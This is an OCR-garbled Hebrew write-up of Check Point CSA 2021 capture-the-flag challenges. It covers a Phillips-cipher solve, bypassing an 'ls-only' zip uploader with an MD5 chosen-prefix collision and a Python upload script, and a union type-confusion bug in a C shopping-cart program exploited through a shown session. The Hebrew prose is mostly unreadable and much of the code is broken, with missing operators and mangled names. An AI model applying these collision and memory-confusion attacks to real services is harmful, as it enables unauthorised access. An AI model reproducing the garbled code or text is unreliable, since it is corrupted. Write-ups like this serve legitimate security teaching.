o Cut ° Shift Type  Row Phillips +| | Keyword  English M Foreign Chars __
Copy Dictionary Search All Types  Substitution Plaintext English - =
- Sol Stop - + . T
I paste olve e est All Key Routes | Other Transposition Same Plaintext/Keyword Soluot?ons
Enter tip/erib, if known | fremmisterphillipstoallagentsstop lz‘ Enter key, if known lz‘
Character frequency Sorted [ | All contacts ® 1-Grams ) 2-Grams () 3-Grams () 4-Grams () 5-Grams Cipher length 138/166
A M S5 B LVWVUCETZ&RTUEXOQEHK?PUWD GIFNRNY ZHOJ
121010 % % &% &8 & 8 7 7 & 4 4 4 4 3 3 3 2 2 2 & 1 1 0o
Ciphertext

HEVHNPELMSEATWWEFEEXTCRRCEMULARLCDLOMGRE T PALACVEMUECSW IKGVL QZ DAL RCAACOTEEZMY REVEME STX IV WM SELVSEEX GPQFAT UMMSACVYMVEX QERVE
FLTSRATSKEERQEEXTE

Best match
frommisterphillipstoallagentsstoptheflagiscsacpencurlybracketaclassicunderscorecryptounderscorestrikesunderscorebackeclos
ecurlybracketsstop

Best key | TEWNGRCDFYBKLMHIPQRNOVKZSU Keyword Best score 1270

Top matches Keys tested
#0 frommisterphillipstoallagentastoptheflagiscaacpencurlybracketsclassicunderscorecryptounderscorestrikesun 3,411,000
#1 frommisterphillipstoallazentsstoptheglaziscsaopencurlybeackrtsclassicungerscorecryptounderscoresteikesur

$#2 xrommisterpwiffipstoallagentsstoptweflagiscsaopencurfybracketsclassicunderscorecryptounherscorestrikesur Key square
#3 frommgsterihpllyistoallagentsstoitheflapyscsaciencurlabracketsclasspounderscorecrpitounderscorestrykesur

#4 grommisterpzillipstoallagentsstoptzeflagiscsaopencurlybrackftsclassicunwerscorecryptounderscorestrikesur TEWGA
#5 erommisterpfillipstoallagentastoptfshlagiscsacpencurlybracketsclassicunderscorecryptounderscorestrikhsun CDEYB
#6 frommisterphimmipstoallawentsstopthedlawiscsaopencurmybgacketsclassicunder ecryptounferscorestgikesur KLMHI
#7 prommxsterfhillxfstoallagentsstoftheplagescsacfencurlybracketsclassicunde ecryftounderscorestrxkisur fgzgg

#8 frommisterphillipstoallagentsstoptheflagiscsaopencurlzbrackytsclassicunreds ecrzptounderscorestrikesur
#9 trommisterpdillipstoallagentsstowtdeflagiscsaopencurlybrackefsclassicunherscorecrypfounherscorestrikesur

Hill climbing Grid Pairing 1/) |

117 NNIY 0'7'AN 'D 7Y 72T 0YINN NN N
theflagiscsaopencurlybracketsclassicunderscorecryptounderscorestrikesunderscorebackclosecurl
ybracketsstop

NN AT

CSA{CLASSIC_CRYPTO_STRIKES_BACK}

Check Point CSA - 2021ManX N1T0
www.DigitalWhisper.co.il
24 2022 WNxN29 ,136 I'a



https://en.wikipedia.org/wiki/CQ_(call)
https://www.dcode.fr/phillips-cipher
https://sites.google.com/site/cryptocrackprogram/home
https://sites.google.com/site/cryptocrackprogram/home
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(1113 300 ,Crypto n'avp) Is NManx

Boss wanted to give people access to only see the directories list in a filesystem.

Now you can run anything on my OS... so long as it's Is (with parameters).
Send the commands in one or more files, then zip that file. | only accept zips, everything else is
inefficient.

I'll verify that you aren't playing games, if | see a command that isn't Is, I'm not running it.
| don't like redundancy, so I'll save the hash of the zips that were already verified... using the best
hash algorithm of them all: MD5!

POST to:
https://ls.csa-challenge.com/upload-zip

INNo

V2 yalp 7' onn TNR ,AnT MD5 hash *p2 ZIP 'yap v X7 2'75¢ 'an? [N ANKD JIR'MN

'ON777 hash collision NopnN "NIT 22T DX K7'W YAl 7' awnl .Is NTIZ9

NIXN7 IN'7¥N 7Y DU'WIND DAWNNN ,NNI0] X7 NAWNIY N'OXIAI0DM? 212 D219 N1' MD5
JIs NTIP9 NN'™W DY NIWN 2V DIY' D¥AR AT'R 122 .'0N! 10 [ra collision

with open("./commands.zip", "rb") as f:
data = f.read()

url = "https://ls.csa-challenge.com/upload-zip"

response = s.post(url, {"Content-
Type": "application/zip"}, data)
print(response.text)

print(response)
$ python3 send.py

updating: commands.txt (stored 0%)
{"statusCode": 200, "body": "[\"flag.txt\\nlambda_function.py\\n\"]"}

NINP7 DMK NNIXR INIRY flag.txt yalzn 0" NN 7y ni?d

Y2170 910 NX ‘7nonn ,End of Central Directory Record 2101 n12an 19102 7' zip yal N1an
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"5 eD¥ix. PK

ratare W aroret lca
95&aYUasa.
1-+3,..."0¥%
°,.KKO!'ic.a|V VY
8C"*1I0..2GA.67z
.i°.yi-€cR=E'-0-"
YAfoEé.Gu./.lvup
/E(;/\xz ©: >>2p ix
e«oa%cll[%
[p.j{..5%YSUI{q. C
.€.h .P.3:. #<3%Ui

E_ MA'}r')']—y 1A5F

char elSignatur

o' IX NI'UN 7ap" X7w EndLocator 7w n1ann MNX 9ol yT'n Yalpn §107 Tnxn? 72n X

Yairn 7w md5-n MK IAWN' WWNRD AWN'T N ,YAIRPYZ unzip 1YY TUND

‘HashClash 751 nunnwni Chosen-prefix collision attack alon nopnn it

Create your own chosen-prefix collisions

® Create temporary working directory (in top directory)
mkdir cpc_workdir
cd cpc_workdir

® Run script

./scripts/cpc.sh <prefix.filenamel> <prefix.filename2>
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https://en.wikipedia.org/wiki/Collision_attack
https://github.com/cr-marcstevens/hashclash

:DNIXK NI7YWY7 XN NIWY? Aannw 25 ,nnt MD5 hash *7v2 zip '¥ap v mwnw NNx

requests
0s
json

open("./1s.zip", "rb")
datal = f.read()

url = "https://ls.csa-challenge.com/upload-zip"
requests.Session()

response = json.loads(s.post(url, = {"Content-

Type": "application/zip"}, = datal).text)

print(response[ "body"])

open("./win.zip", "rb")
data2 = f.read()

response = json.loads(s.post(url, = {"Content-
Type": "application/zip"}, = data2).text)
print(response[ "body"])

PS C:\Users\orkin\Documents\ctfs_cyber_shit\csa-2021\1s> python .\send.py

["flag.txt\nlambda_function.py\n"]
["CSA{KILL_MD5_Alr3uddy_plz}"]

M7 NX gl

CSA{K1LL_MD5_A1r34dy plz}
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(11172 180 ,Reversing N'i1av?) Computed Shopping Assistant NManx

Welcome to Computed Shopping Assistant!

The place where you can manage your shopping cart, and get substantial discounts
with our special promotion coupons!

We have given all CSA candidates a free 10% OFF coupon:
NOT_A_FLAG{I_4M_A_N3WB1E}

Enjoy!

Please be aware that the system is not perfect, so don't go around buying loaves of
soup...

nc csa.csa-challenge.com 1111

‘D'RAN D'XApPN 1971 1ANKY

shopping_cart.h:
#ifndef SHOPPING_CART_H
#define SHOPPING_CART_H

#include <stdio.h>

#include <stdlib.h>
#include <stdbool.h>
#include <string.h>

#tdefine SHOPPING_CART_SIZE
#tdefine STRING_BUFFER_SIZE

enum item_type {
TYPE_UNDEFINED
TYPE_BREAD
TYPE_PASTA
TYPE_SOUP
TYPE_DRINK
TYPE_VEGETABLE
TYPE_FRUIT
TYPE_COUPON

- - - - - -
N h<awnwo o
-\-\-\-\-\-

. .

};

struct coupon_item {
int discount_amount;
int have_entered;
int is_valid;
int length;
int expiration_day;
int expiration_month;
int expiration_year;
char code[STRING_BUFFER_SIZE];
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grocery_item {
amount_grams;
amount_kilograms;
amount_items;
amount_loaves;
amount_liters;
description[

shopping cart_item {
item_type type;
{
coupon_item coupon;
grocery_item grocery_item;

shopping_cart_item item;

shopping cart {
amount_of items;
item items]|

};

item* add_item( item_type type);
remove_item( index);
can_edit_item(item* item);
is_valid_food_type( item_type type);
* food_type_to_unit( item_type type);
load_coupon( * path, discount);

#tendif

Shopping_cart.c:
#include "shopping cart.h"

shopping cart shopping_cart;
user_input[ 15
loaded_coupons;

get free_index() {
for ( i=0;1ic« ;5 di++) {
if (shopping cart.items[i].type == TYPE_UNDEFINED) {
return i;
}
}

return -1;

}

item* add_item( item_type type) {
idx = get free index();
if (idx == -1) {
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printf("Can't add more items to your shopping cart!\n");
exit(9);
}
shopping cart.items[idx].type = type;
shopping_cart.amount_of_ items++;
return &shopping cart.items[idx];

}

void remove_item(int index) {

if (shopping cart.items[index].type == TYPE_UNDEFINED) {
printf("Item %d is not in your shopping cart!\n", index);
return;

}

shopping cart.items[index].type = TYPE_UNDEFINED;

shopping_cart.amount_of_items--;

printf("Item %d removed!\n", index);

}

bool can_edit_item(item* item){
if ((item->type == TYPE_UNDEFINED)) {
printf("There is no item at selected index\n");
return false;
} else if
(((item->type == TYPE_BREAD) && (item-
>grocery_item.amount_loaves > 0)) || ((item->type == TYPE_PASTA) &% (item-
>grocery_item.amount_kilograms > 0)) ||
((item->type == TYPE_SOUP) && (item-
>grocery_item.amount_liters > @)) || ((item->type == TYPE_DRINK) && (item-
>grocery_item.amount liters > 0)) ||
((item->type == TYPE_VEGETABLE) && (item-
>grocery_item.amount_kilograms > 0)) || ((item->type = TYPE_FRUIT) && (item-
>grocery_item.amount_items > 0))) {
return true;
} else if ((item->type = TYPE_COUPON)) {
printf("Item is a coupon!\n");
return false;
} else {
printf("Invalid item type!\n");
return false;

}

bool is valid_ food_type(enum item_ type type) {
return (

(type TYPE_BREAD) ||
(type TYPE_PASTA) ||
(type TYPE_SOUP) |
(type TYPE_DRINK) |
(type TYPE_VEGETABLE) ||
(type TYPE_FRUIT));

}

char* food_type to unit(enum item_type type) {
switch (type) {
case TYPE_BREAD:
return "loaves";
break;
case TYPE PASTA:
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case TYPE_VEGETABLE:
return "kilogram(s)";
break;

case TYPE_SOUP:

case TYPE_DRINK:
return "liter(s)";
break;

case TYPE_FRUIT:
return "unit(s)";
break;

}
bool is_coupon_valid(char* coupon) {

if (!memcmp(coupon, "NOT A FLAG{I L@OV3 CSA}", strlen(coupon)) ||
Imemcmp (coupon, "NOT_A FLAG{G1lV3 M3 MOR3 COUPON5 PL3453}", strlen(coupo
n)) |l
Imemcmp (coupon, "NOT_A FLAG{TH3_ C4K3 1S A L1E}", strlen(coupon))) {
return false;
} else {
return true;

}
}

void load coupon(char* path, int discount) {
char coupon[STRING_BUFFER_SIZE];

FILE *fp = fopen(path, "r");

if (fp == NULL) {
printf("Unable to open file! (%s)\n",
exit(9);

}

if (fgets(coupon, STRING BUFFER_SIZE, fp)
printf("Could not load coupon %s!\n",
exit(9);

}

fclose(fp);

int is_valid = is_coupon_valid(coupon);
if (!lis_valid) {
return;

}

item* item = add_item(TYPE_COUPON);
item->coupon.discount_amount = discount;
item->coupon.have_entered = false;
item->coupon.is_valid = is_valid;
item->coupon.length = strlen(coupon);
item->coupon.expiration_day = 0;
item->coupon.expiration_month = 0;
item->coupon.expiration_year = 0;
strncpy(item->coupon.code, coupon, strlen(coupon));
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#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <stdbool.h>
#include "shopping cart.h"

extern struct shopping cart shopping cart;
extern char user_input[];
extern bool loaded_coupons;

void add_item menu() {
printf("Which item would you like to add?\n");
printf("%c - Bread\n", TYPE_BREAD);
printf("%c Pasta\n", TYPE_PASTA);
printf("%c - Soup\n", TYPE_SOUP);
printf("%c - Drink\n", TYPE_DRINK);
printf("%c - Vegetable\n", TYPE_VEGETABLE);
printf("%c Fruit\n", TYPE_FRUIT);

char choice_type;
scanf(" %c", &choice type);

if (!is_valid food_type(choice_type)) {
printf("Invalid type entered!\n");
return;

}
item* item = add_item(choice_type);

switch (choice_type) {

case TYPE_BREAD:
strcpy(item->grocery_item.description, "White bread");
item->grocery_item.amount_loaves = 1;
break;

case TYPE_PASTA:
strcpy(item->grocery item.description, "Spaghetti");
item->grocery_item.amount_kilograms = 1;
break;

case TYPE_SOUP:
strcpy(item->grocery_item.description, "Lentil soup");
item->grocery_item.amount_liters = 1;
break;

case TYPE_DRINK:
strcpy(item->grocery item.description, "Coca-Cola");
item->grocery_item.amount_liters = 1;
break;

case TYPE_VEGETABLE:
strcpy(item->grocery item.description, "Potatoes");
item->grocery_item.amount_kilograms = 1;
break;

case TYPE_FRUIT:
strcpy(item->grocery item.description, "Apples");
item->grocery_item.amount_items = 1;
break;
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printf("1 %s of %s added!\n", food type to_unit(choice_type),
>grocery_item.description);

}

void edit_item _menu() {
if (shopping cart.amount_of items == 0) {
printf("Your shopping cart is empty!\n");
return;

}

printf("Which item index would you like to edit?\n");

int choice;

scanf("%d", &choice);

if (choice < @ || choice >= SHOPPING CART SIZE) {
printf("Invalid item index!\n");
return;

}

item* item = &shopping cart.items[choice];

if ('can_edit_item(item)) {
printf("Can not edit this item!\n");
return;

}

printf("Which property would you like to edit?\n"
"1 - Type\n"
"2 - Amount of kilograms\n"
Amount of items\n"
Amount of loaves\n"
Amount of liters\n"
Description\n"
"7 - Cancel\n");
scanf("%d", &choice);

if (choice < 1 || choice > 7) {
printf("Invalid choice!\n");
return;

}

char newline;
scanf("%c", &newline);
char choice_type;

switch (choice) {
case 1:
printf("Enter new type: ");
fflush(stdout);
scanf(" %c", &choice type);
if (choice_type == TYPE_COUPON) {
printf("You can not convert to coupon!\n");
} else if (is_valid_food_type(choice_type)) {
item->type = choice_type;
} else {
printf("Invalid type entered!\n");
}
break;
case 2:
printf("Enter new kilograms amount: ");
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fflush(stdout);
scanf("%d", &choice);
item->grocery item.amount_kilograms choice;
break;

case 3:
printf("Enter new items amount: ");
fflush(stdout);
scanf("%d", &choice);
item->grocery_ item.amount_items = choice;
break;

case 4:
printf("Enter new loaves amount: ");
fflush(stdout);
scanf("%d", &choice);
item->grocery_item.amount_loaves = choice;
break;

case 5:
printf("Enter new liters amount: ");
fflush(stdout);
scanf("%d", &choice);
item->grocery_item.amount_liters = choice;
break;

case 6:
printf("Enter new description: ");
fflush(stdout);
fgets(item->grocery_item.description, STRING BUFFER_SIZE, stdin);
item->grocery_item.description[strlen(item-

>grocery_item.description)-1] = "\@’';

break;

case 7:
return;
break;

}
printf("Item updated!\n");
}

void remove_item_menu() {
if (shopping cart.amount_of items == 0) {
printf("Your shopping cart is empty!\n");
return;

}

printf("Which item index would you like to remove?\n");

int choice;

scanf("%d", &choice);

if (choice < @ || choice >= SHOPPING_CART SIZE) {
printf("Invalid item index!\n");
return;

}

remove_item(choice);

}

void print_shopping cart() {
if (shopping_cart.amount_of _items == 0) {
printf("\nYour shopping cart is empty!\n");
return;
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printf("\nYour shopping cart has %d items:\n", shopping_cart.amount_of item
s);
for (int i = @; i < SHOPPING_CART SIZE; i++) {
item* item = &shopping cart.items[i];

int amount = 9;
switch (item->type) {
case TYPE_UNDEFINED:
break;
case TYPE_COUPON:
if (item->coupon.have_entered) {
printf("(index %d) - %d%% OFF coupon - %s\n", i, item-
>coupon.discount_amount, item->coupon.code);
}
break;
default:
switch (item->type) {
case TYPE_BREAD:
amount = item->grocery_item.amount_loaves;
break;
case TYPE_PASTA:
case TYPE_VEGETABLE:
amount = item->grocery_item.amount_kilograms;
break;
case TYPE_SOUP:
case TYPE_DRINK:
amount = item->grocery_item.amount_liters;
break;
case TYPE_FRUIT:
amount = item->grocery_item.amount_items;
}
printf("(index %d) -
%d %s of %s\n", i, amount, food_type to_unit(item->type), item-
>grocery_item.description);
break;

void apply_a_coupon() {

if (!loaded_coupons) {
load_coupon("coupon_10.txt", 10);
load_coupon("coupon_50.txt", 50);
loaded_coupons = true;

}

printf("Please enter your coupon:\n");

char newline;

scanf("%c", &newline);

fgets(user_input, STRING BUFFER_SIZE, stdin);

for (int i = @; i < SHOPPING_CART_SIZE; i++) {
item* item = &shopping cart.items[i];
if (item->type == TYPE_COUPON && !item->coupon.have_entered) {
if (!memcmp(item->coupon.code, user_input, item->coupon.length)) {
printf("Applied coupon for %d%% OFF!\n", item-
>coupon.discount_amount);

item->coupon.have_entered = true;
return;
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printf("Invalid coupon!\n");

}

void checkout() {
printf("\nThank you for choosing Computed Shopping Assistant!\n");
printf("Your items will be delivered to you within 24 hours.\n");
printf("Goodbye!\n");
exit(oe);

}

void main_menu() {
printf("\n---> Welcome to Computed Shopping Assistant <---\n");

while (true) {
printf("\nWhat would you like to do?\n"
- Add item to shopping cart\n"

Edit item in shopping cart\n"
Remove item from shopping cart\n"
View shopping cart\n"
Apply a coupon\n"
Checkout\n");

int choice 0;

scanf("%d", &choice);

switch (choice) {

case 1:
add_item_menu();
break;

case 2:
edit_item_menu();
break;

case 3:
remove_item_menu();
break;

case 4:
print_shopping cart();
break;

case 5:
apply _a_coupon();
break;

case 6:
checkout();
break;

default:
printf("Invalid choice!\n");
exit(9);
break;

int main() {
memset (&shopping cart, 0, sizeof(shopping cart));
main_menu();
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"don't go around buying loaves of soup" :09WNN NX 121N2 771> MANKN AXNY |'1¥]
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add_item_menu
edit_item_menu
remove_item_menu
print_shopping_cart

apply_a_coupon

I A o

checkout

JMpn N2y NooOTNI 19172 UIN'YUn ,N2"Myn NI'XRAD [N DNIXR NITMIVAY NX21nN
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switch (item->type) {
case TYPE_UNDEFINED:
break;
case TYPE_COUPON:

if (item->coupon.have entered) {
printf("(index %d) - %d%% OFF coupon - %s\n", i, item-
>coupon.discount_amount, item->coupon.code);

}

true N nNan 50%-n 7Y (19170 7Y is_entered-n YW AIRT? 110X - 727N DR 7277 NX11 DX
:can_edit_item N'¥j2191 - NWZINN NIX 1INXNA - TI7n 7V 12yn vyn NNX

} else if
(((item->type == TYPE_BREAD) && (item-
>grocery_item.amount_loaves > 0)) || ((item->type == TYPE_PASTA) && (item-
>grocery_item.amount_kilograms > @)) ||
((item->type == TYPE_SOUP) && (item-

>grocery_item.amount_liters > 0)) || ((item->type == TYPE_DRINK) && (item-
>grocery_item.amount_liters > 0)) ||

((item->type == TYPE_VEGETABLE) && (item-
>grocery_item.amount_kilograms > 0)) || ((item-
>type = TYPE FRUIT) && (item->grocery item.amount items > 0))) {
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} else if ((item->type = TYPE_COUPON)) {
printf("Item is a coupon!\n");
return i
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coupon_item coupon;
grocery item grocery item;

7¥ nIwN NRPRN 0NT? A N1 Lgrocery_item 1IN (1917 ONY'NN NIJINN DRY DX LD DX
TR MIN TX - 17 0NIY 0'AXYNN TR 71 [N AT 222 790 712' union-w 11N struct coupon
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coupon_item {
discount_amount;

have_entered;

is valid;

length;

expiration_day;

expiration_month;

expiration_year;

code[

grocery item {
amount_grams;
amount_kilograms;
amount_items;
amount_loaves;
amount_liters;
description][

amount_kilograms NX oNT? 7211 17D ,have_entered N11dDN7 991N amount_kilograms-w Nk
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csa.csa-challenge.com 1111

—> Welcome to Computed Shopping Assistant <—

What would you like to do?

1 - Add item to shopping cart
2 Edit item in shopping cart
3 Remove item from shopping cart
4 View shopping cart

5) Apply a coupon

6 Checkout

)

Please enter your coupon:

asdf

Invalid coupon!

What would you like to do?

1 - Add item to shopping cart
Edit item in shopping cart
Remove item from shopping cart
View shopping cart
Apply a coupon
Checkout

hich item index would you like to edit?

Which property would you like to edit?
1 - Type

Amount of kilograms

Amount of items

Amount of loaves

Amount of liters

Description

Cancel

Enter new kilograms amount: 1
Item updated!

What would you like to do?

1 - Add item to shopping cart

2 Edit item in shopping cart

3 Remove item from shopping cart
4 View shopping cart
5 Apply a coupon
6 Checkout
A

Your shopping cart has 2 items:
(index 1) - 1 unit(s) of

What would you like to do?

1 - Add item to shopping cart

2 Edit item in shopping cart

3 Remove item from shopping cart
4 View shopping cart
) Apply a coupon
6 Checkout

1917 2N INIX 0'9TN X7 X' |3'7I ,N1DINN '1'Va M9 | TV nv [1I917N I TNX 12T NNDYW AKN)
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item->grocery item.amount items > ©
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What would you like to do?

1 - Add item to shopping cart

2 Edit item in shopping cart

3 Remove item from shopping cart
4 View shopping cart

5 Apply a coupon

] Checkout

p

Which item index would you like to edit?

Which property would you like to edit?
Type
Amount of kilograms
Amount of items
Amount of loaves
Amount of liters
Description
Cancel

Enter new items amount: O
Item updated!

What would you like to do?

1 - Add item to shopping cart
Edit item in shopping cart
Remove item from shopping cart
View shopping cart
Apply a coupon
Checkout

Which item index would you like to edit?
1

Item is a coupon!

Can not edit this item!

What would you like to do?

1 - Add item to shopping cart
Edit item in shopping cart
Remove item from shopping cart
View shopping cart
Apply a coupon
Checkout

Your shopping cart has 2 items:

(index 1) - 50% OFF coupon - CSA{iN LlnuX 1T WOU1DnT H4PP3N}

ANIR Y1NVIY AR2N DY92] |I91p? nera? urne

‘210 X P

CSA{iN_L1nuX_1T_WOUIDnT_H4PP3N}

40
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(m1mip?a 180 ,Reversing Nn'i1av?) Fun With Flags Nanx

;00770

Welcome to Dr. Sheldon Cooper and Dr. Amy Farrah Fowler's flags shop!

Where you can buy and sell some of our favorite flags.
Colors? Stripes? Stars? We've got them all!

We've given you some coins, don't spend them all at once :)

Hope you'll have Fun With Flags!

Disclaimer:

Dr. Sheldon Cooper, who created the shop, allowed only himself to buy certain flags, so don't
be disappointed if you can't have all of them.

He also decided to log every transaction, in case anyone tries to buy the special flags that are
not allowed, so don't try to trick him!

nc fun-with-flags.csa-challenge.com 6666

Flag:
__init_ ( ,

.name = name
.price = price
.description = description
.colors = colors
.stripes = stripes
.stars = stars
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def __str__ ( ):
return f'{self.name} - {self.description} (price: {self.price})’

class User:
def __init_ ( , ):

self.name = name

self.owned_flags = []

if name == "Dr. Sheldon Lee Cooper":
self.is VIP = True
self.coins = INITIAL_COINS * 2

else:
self.is_VIP = False
self.coins = INITIAL_COINS

_str__( ):

user_value = self.coins + sum(flag.price for flag in self.owned_flags)
result = f"User {self.name} "

result += "(VIP)." if self.is_VIP else "(NON-VIP)"

result += f" has {str(self.coins)} coins."

result += f" Account value: {user_value}."

if self.owned flags:
total colors = sum(flag.colors for flag in self.owned flags)
total stripes = sum(flag.stripes for flag in self.owned_flags)
total stars = sum(flag.stars for flag in self.owned_flags)
result += "\nAverage value per: "
result += "color (total {}) -
{:0.2f}, ".format(total_colors, user_value / total_colors)
result += "stripe (total {}) -
{:0.2f}, ".format(total_stripes, user_value / total_stripes)
result += "star (total {}) -
{:0.2f}.\n".format(total_stars, user_value / total_stars)

result += "Owned flags:\n"
result += "\n".join(str(flag) for flag in self.owned_flags)

result += "\n"
return result

buy_ flag( ; ):
self.coins -= flag.price
self.owned_flags.append(flag)
self.update VIP()

sell flag( , ):
self.coins += flag.price
self.owned_flags.remove(flag)
self.update_VIP()

update_VIP( ):
if self.is_VIP:
return
self.is_VIP = sum(flag.stars for flag in self.owned_flags) >= 120

can_afford flag( , ):
return self.coins >= flag.price

allowed_to_buy CSA flag( ):
return self.is_VIP
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available flags = [
Flag("Suriname", "The smallest South American country"”,
Flag("Togo", "Has French as the official language",
Flag("Azerbaijan", "The Land of Fire", 4, 3, 1),
Flag("Liberia", "Has Africa's cleanest cities", 3, 11, 1),
Flag("Myanmar", "Formerly known as Burma", 4, 3, 1),
Flag("Philippines", "Named after King Philip II of Spain", 4, 2, 1),
Flag("Uzbekistan", "Has the world's largest open-pit gold mine", 4, 5, 12),
Flag("Tajikistan", "Has the world's second highest dam", 4, 3, 7),
Flag("Slovenia", "Has the world's longest stone arch railroad bridge", 3, 3
3 3))
Flag("Syria", "Has the world's oldest operational dam", 4, 3, 2),
Flag("Honduras", "Has a dual capital", 2, 2, 5),
Flag("Cape Verde", "Named after the Cap-Vert peninsula", 4, 5, 10),
Flag("Israel", "The country that brought you CSA", 2, 2, 1),
Flag("Russia", "Home to the Hermitage Museum", 3, 3, 9),
Flag("USA", "United States of America", 3, 13, 50),
Flag("Cuba", "Famous for it's cigars", 3, 5, 1),
Flag("CSA", open("flag.txt", "rt").read(), 1, 33, 7),
Flag("Jordan", "Home to Petra", 4, 3, 1),
Flag("Singapore", "The world's second most densely populated country", 2, 2,
5),
Flag("Venezuela", "Home to the world's highest waterfall”, 4, 3, 8),

def send( ):
print(message)

def recv():
return input()

def get_int_from_user():
try:
user_selection = int(recv())
return user_selection
except:
return 0

def list flags(
res =
for i, flag in enumerate(flags):
res += f'{i} {flag.name} - {flag.price}\n'
res += "
return res

def modify flag menu():
raise NotImplementedError

def buy_flag menu():
send(f"There are {len(available_flags)} flags available to buy.")
send("How many flags would you like to buy?")
amount = get_int_from_user()
if amount > len(available_flags):
send("There aren't that many available flags!")
return
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for _ in range(amount):
send(f"You have {user.coins} coins.")
if user.coins == 0:
return
send("Available flags to buy:")
send(list_flags(available_flags))
send("Which flag would you like to buy?")
flag index = get_int_from_user()
flag_to_buy = None
allowed_to_buy flag = False
try:
if @ <= flag _index < len(available flags):
flag to_buy = available flags[flag index]
allowed_to _buy_ flag = user.can_afford flag(flag_to_buy)
log message = str(user) + f" is trying to buy flag {flag_to_buy.name}"
if flag_to_buy.name == "CSA":
log _message += "\n***ATTENTION -
CSA FLAG PURCHASE. RUNNING ADDITIONAL CHECK****
allowed_to buy flag = allowed_to_buy flag and user.allowed to_buy C
SA_flag()
log_message += " Additional checks result -
user is " + ("ALLOWED" if allowed_to_buy flag else "NOT ALLOWED") + " to purchase it"

send("You tried to buy flag " + flag to_buy.name + (allowed to purcha
se? " + str(allowed_to buy flag) + "). This transaction was logged successfully.")
else:
log message = str(user) +
existing flag. This looks suspicious!"
send("Invalid flag index. This attempt is logged!")

is trying to buy an non-

open("log.txt", "a+").write(log_message + "\n")
except:
send(f'Failed to log transaction of flag purchase. Do you have write permis
sion?"')

if flag_to_buy is not None:
if allowed_to_buy_flag:
user.buy_flag(flag_to_buy)
available_flags.remove(flag_to_buy)
send(f"{flag_to_buy.name} flag bought!")
else:
send(f"You can't buy flag {flag_to_buy.name}!")

def sell flag menu():
send(f"You have {len(user.owned_flags)} flags.")
if not user.owned_flags:
return
send("How many flags would you like to sell?")
amount = get_int_from_user()
if amount > len(user.owned_flags):
send("You don't have that many flags!")
return

flag_to_sell = None

for _ in range(amount):
send("Available flags to sell:")
send(list_flags(user.owned_flags))
send("Which flag would you like to sell?")
flag _index = get_int_from_user()

try:
if @ <= flag _index < len(user.owned_flags):
flag to_sell = user.owned_flags[flag index]
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log message = str(user) + + flag _to_sell.name
else:
log message = str(user) +
his looks suspicious!"

send("Invalid flag index. This attempt is logged!")

is selling flag

is trying to sell a flag they don't have. T

if flag _to_sell is not None:
user.sell flag(flag to_sell)
available_flags.append(flag to_sell)
send(f"{flag _to_sell.name} flag sold!")
log message += f". {flag_to_sell.name} Sold successfully!"

open("log.txt", "a+").write(log _message + "\n")
except:
send(f'Failed to log transaction of {flag_to_sell.name} flag. Do you have w
rite permission?')

def main_menu():
while True:
send("What would you like to do?\n")
send("\n".join([

" LIST AVAILABLE FLAGS",
" BUY FLAG",
! SELL FLAG",
' LIST MY FLAGS",
LIST MY STATS",
EXIT",

selection = get_int_from_user()

if selection == 0:
modify flag menu()
elif selection == 1:
send("Available flags to buy:")
send(list_flags(available_flags))
elif selection == 2:
buy_flag_menu()
elif selection ==
sell_flag menu()
elif selection == 4:
flags_amount = len(user.owned_flags)
if flags_amount > 0:
send(f"You have {flags_amount} flags:")
send(list_flags(user.owned_flags))
else:
send("You have no flags :(\n")
elif selection ==
send(str(user))
elif selection ==
break
else:
send(f"Invalid menu selection {selection}")
except:
send("Apologies, not all functions are implemented yet!")

send("Hope you had Fun With Flags! Goodbye.")

def logo():

send("""Welcome to
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FUH WITH FLALS

INITIAL_COINS = 1000
user = User("Dr. Amy Farrah Fowler")

__name__ == "' main__ ‘'

logo()
main_menu()

NN

MCSA" 7210 NN 117 11017 N1DINT DNAT 1'7Y 2Th DR 7R

Flag("CSA", 1337, open("flag.txt", "rt").read(), 1, 33, 7),

NRT NIYY'M NI NNXIVY Ni72an 'ny (RN

:N1yavn 1000 oy 1 0*7'NNN 1INIXRI NIYavn 1337 071y 72710 n'wx)

flag to buy.name == "CSA":
log message += "\n***ATTENTION -
CSA FLAG PURCHASE. RUNNING ADDITIONAL CHECK***"
allowed to buy flag = allowed to buy flag user.allo
wed_to_buy CSA flag()
log message += " Additional checks result -
user is " + ("ALLOWED" allowed to buy flag "NOT ALLOWED") + " to p
urchase it"

v D'NIN2 TR NIN DORD D79 wnnunn 7y N?'12 yxann ,CSA 22Tn DX ]'1IJ|7'7 n01l DX , NIV

VIP XN wnnwnin oxkN NpTIaY allowed_to_buy_CSA_flag n'xj7119n

NN 'Y 7 0'RINN '97 VIP ' 17w wnnwnin

update VIP( ):
.is_VIP:

.is VIP = sum(flag.stars flag .owned_flags) >= 120

072N 72 7 011N NIX DIDO'Y X7 UOMIPO AN

Flag:
_init_ ( P
.name = name

.price = price
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.description = description
.colors = colors

.stripes = stripes

.stars = stars

__(self):

{ .name} - { .description} (price: { .price})"’

available flags = [
Flag("Suriname", 100, "The smallest South American country", 4, 5, 1),
Flag("Togo", 100, "Has French as the official language", 4, 5, 1),
Flag("Azerbaijan", 100, "The Land of Fire", 4, 3, 1),
Flag("Liberia", 200, "Has Africa's cleanest cities", 3, 11, 1),
Flag("Myanmar", 200, "Formerly known as Burma"“, 4, 3, 1),
Flag("Philippines", 300, "Named after King Philip II of Spain", 4, 2, 1),
Flag("Uzbekistan", 400, "Has the world's largest open-pit gold mine", 4, 5, 12),
Flag("Tajikistan", 500, "Has the world's second highest dam", 4, 3, 7),
Flag("Slovenia", 600, "Has the world's longest stone arch railroad bridge", 3, 3,
Flag("Syria", 700, "Has the world's oldest operational dam", 4, 3, 2),
Flag("Honduras", 800, "Has a dual capital"”, 2, 2, 5),
Flag("Cape Verde", 900, "Named after the Cap-Vert peninsula"“, 4, 5, 10),
Flag("Israel”, 1000, "The country that brought you CSA", 2, 2, 1),
Flag("Russia”, 1200, "Home to the Hermitage Museum", 3, 3, 9),
Flag("USA", 1200, "United States of America", 3, 13, 50),
Flag("Cuba", 1300, "Famous for it's cigars", 3, 5, 1),
Flag("CSA", 1337, "3JustForCheck", 1, 33, 7),
Flag("Jordan", 1400, "Home to Petra", 4, 3, 1),
Flag("Singapore", 1400, "The world's second most densely populated country", 2,
Flag("Venezuela", 1500, "Home to the world's highest waterfall", 4, 3, 8),

]

sum_stars = 0

flag available flags:
sum_stars += flag.stars
print(f"there are {sum_stars} total stars")

PS C:\Users\orkin\Documents\ctfs_cyber_shit\csa-2021\fun_with_flags> python .\count_flags.py
total stars

